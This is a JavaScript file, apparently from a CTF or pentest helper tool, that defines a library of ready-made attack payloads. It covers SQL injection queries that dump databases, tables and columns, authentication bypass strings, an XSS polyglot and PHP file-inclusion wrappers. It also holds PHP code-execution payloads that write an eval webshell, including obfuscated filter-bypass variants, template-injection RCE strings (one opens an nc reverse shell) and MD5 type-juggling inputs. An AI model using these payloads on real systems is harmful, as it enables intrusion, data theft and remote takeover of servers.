window.Payload = {}

window.Payload.SQLi = {
    spaceToComment: value => value.replace(/[^\S\r\n]+/g, '/**/'),

    polyglot: value => "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/",

    MySQL: {
        unionSelect: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            if (isNaN(columns) === true) {
                return ''
            }

            return 'union select ' +
                Array.from(Array(columns + 1).keys()).slice(1).join(',')
        },

        dumpDatabases: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array.from(Array(columns + 1).keys()).slice(1)
            fields[position - 1] = 'group_concat(schema_name)'

            return 'union select ' + fields.join(',') +
                ' from information_schema.schemata'
        },

        dumpTables: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array.from(Array(columns + 1).keys()).slice(1)
            fields[position - 1] = 'group_concat(table_name)'

            return 'union select ' + fields.join(',') +
                ' from information_schema.tables where table_schema=database()'
        },

        dumpColumns: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array.from(Array(columns + 1).keys()).slice(1)
            fields[position - 1] = 'group_concat(column_name)'

            return 'union select ' + fields.join(',') +
                ' from information_schema.columns where table_schema=database()'
        },

        // PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/
        dumpInOneShot: value => "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)",

        dumpCurrentQueries: value => '(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a)',

        errorBased: ({
            columns,
            position
        }) => {
            return 'extractvalue(0x0a,concat(0x0a,(select database())))'
        }
    },

    PostgreSQL: {
        unionSelect: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            if (isNaN(columns) === true) {
                return ''
            }

            return 'union select ' + Array(columns).fill('null').join(',')
        },

        dumpDatabases: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array(columns).fill('null')
            fields[position - 1] = "string_agg(datname, ',')"

            return 'union select ' + fields.join(',') + ' from pg_database'
        },

        dumpTables: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array(columns).fill('null')
            fields[position - 1] = "string_agg(tablename, ',')"

            return ' union select ' + fields.join(',') +
                " from pg_tables where schemaname='public'"
        },

        dumpColumns: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array(columns).fill('null')
            fields[position - 1] = "string_agg(column_name, ',')"

            return 'union select ' + fields.join(',') +
                " from information_schema.columns where table_schema='public'"
        },

        errorBased: ({
            columns,
            position
        }) => {
            return 'cast(version() as int)'
        }
    },
    SQLite: {
        unionSelect: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            if (isNaN(columns) === true) {
                return ''
            }

            return 'union select ' +
                Array.from(Array(columns + 1).keys()).slice(1).join(',')
        },

        dumpTables: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array.from(Array(columns + 1).keys()).slice(1)
            fields[position - 1] = 'group_concat(name)'

            return 'union select ' + fields.join(',') +
                " from sqlite_master WHERE type='table'"
        },

        dumpColumns: ({
            columns,
            position
        }) => {
            columns = parseInt(columns)
            position = parseInt(position)
            if (isNaN(columns) === true || isNaN(position) === true ||
                position > columns) {
                return ''
            }

            const fields = Array.from(Array(columns + 1).keys()).slice(1)
            fields[position - 1] = 'group_concat(sql)'

            return 'union select ' + fields.join(',') +
                " from sqlite_master WHERE type='table'"
        }
    }
}

window.Payload.XSS = {
    polyglot: value => "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e"
}

window.Payload.LFI = {
    phpWrapperBas64: value => 'php://filter/convert.base64-encode/resource=' + value,
    phpWrapperBas64Case: value => 'pHp://FilTer/convert.base64-encode/resource=' + value,
    phpWrapperRot13: value => 'php://filter/read=string.rot13/resource=' + value,
    data: value => 'data://text/plain;base64,[base64_encode_shell]',
    expect: value => 'expect://ls',
    input: value => "php://input | POST DATA: <?php phpinfo();?>"
}

window.Payload.PHPRCE = {
    phpinfo: {
        title: '测试命令执行',
        code: 'phpinfo();',
        payload: value => "phpinfo();",
    },
    highlight_file: {
        title: '显示index.php代码',
        code: 'highlight_file("index.php");',
        payload: value => 'highlight_file("index.php");'
    },
    glob: {
        title: '列出当前目录文件',
        code: 'var_dump(glob("*"));',
        payload: value => 'var_dump(glob("*"));'
    },
    scandir: {
        title: '扫描目录',
        code: 'var_dump(scandir("."));',
        payload: value => 'var_dump(scandir("."));'
    },
    nmap: {
        title: '利用nmap写入shell',
        code: "shell.phtml（密码:c）",
        payload: value => "127.0.0.1 | ' <?= @eval($_POST[c]);?> -oG shell.phtml '"
    },
    noAZaz09_test: {
        title: '反urlencode编码绕过正则(过滤字母数字)',
        code: "phpinfo();",
        payload: value => "(~%8F%97%8F%96%91%99%90)();"
    },
    noAZaz09_getshell: {
        title: '反urlencode编码绕过正则写入shell',
        code: '密码:c',
        payload: value => "(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%A2%D6%D6);"
    }
}


window.Payload.SSTI = {
    Jinja2: {
        tuple2Class: value => '{{().__class__.__base__.__subclasses__()}}',
        string2Class: value => "{{''.__class__.mro()[1].__subclasses__()}}",
        list2Class: value => '{{[].__class__.__base__.__subclasses__()}}',
        method2Global: value => '{{foo.__init__.__globals__}}',
        // Reference: https://twitter.com/realgam3/status/1184747565415358469
        flaskRCE: value => "{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}",
        // TODO: add features to bypass filter keywords like __ '' "" []
        readFlag: value => "shrine/{{url_for.__globals__['current_app'].config['FLAG']}}"
    },
    Java: {
        thymeleafRCE: value => '__${T(java.lang.Runtime).getRuntime().exec("nc ip port -e sh")}__::.x',
        commonRCE: value => "${T(java.lang.Runtime).getRuntime().exec('ls')}"
    },
    PHP_Smarty: {
        version: value => '{$smarty.version}',
        RCE: value => '{if phpinfo()}{/if}'
    },
    PHP_TWIG: {
        RCE: value => '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}};'
    }
}


window.Payload.EveryPass = {
    php1: value => "admin' or '1'='1",
    php2: value => "'or'='or'",
    php3: value => "'or 1=1/*",
    php4: value => "' OR '1'='1",
    php5: value => "admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#"
}

window.Payload.MD5 = {
    payload1: {
        title: 'MD5弱类型比较',
        code: "if ($a != $b && md5($a) == md5($b))",
        payload: value => "?a=QNKCDZO&b=s878926199a"
    },
    payload2: {
        title: '明文==MD5哈希',
        code: '$md5==md5($md5)',
        payload: value => "?md5=0e215962017"
    },
    payload3: {
        title: 'MD5强类型比较',
        code: "if ($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))",
        payload: value => "param1[]=abc&param2[]=def"
    },
    payload4: {
        title: 'MD5真实碰撞1',
        code: "if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))",
        payload: value => '?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

    },
    payload5: {
        title: 'MD5真实碰撞2',
        code: "if (md5($a) === md5($b) && $a !== $b)",
        payload: value => '?a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2'
    },
    payload6: {
        title: 'SQL MD5绕过',
        code: "select * from 'admin' where password=md5($pass,true)",
        payload: value => "pass=ffifdyop"
    }
}

window.Payload.Python = {
    idna: {
        title: 'idna与utf-8编码漏洞',
        code: '基于idna编码漏洞读取nginx配置文件',
        payload: value => '?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf'
    }
}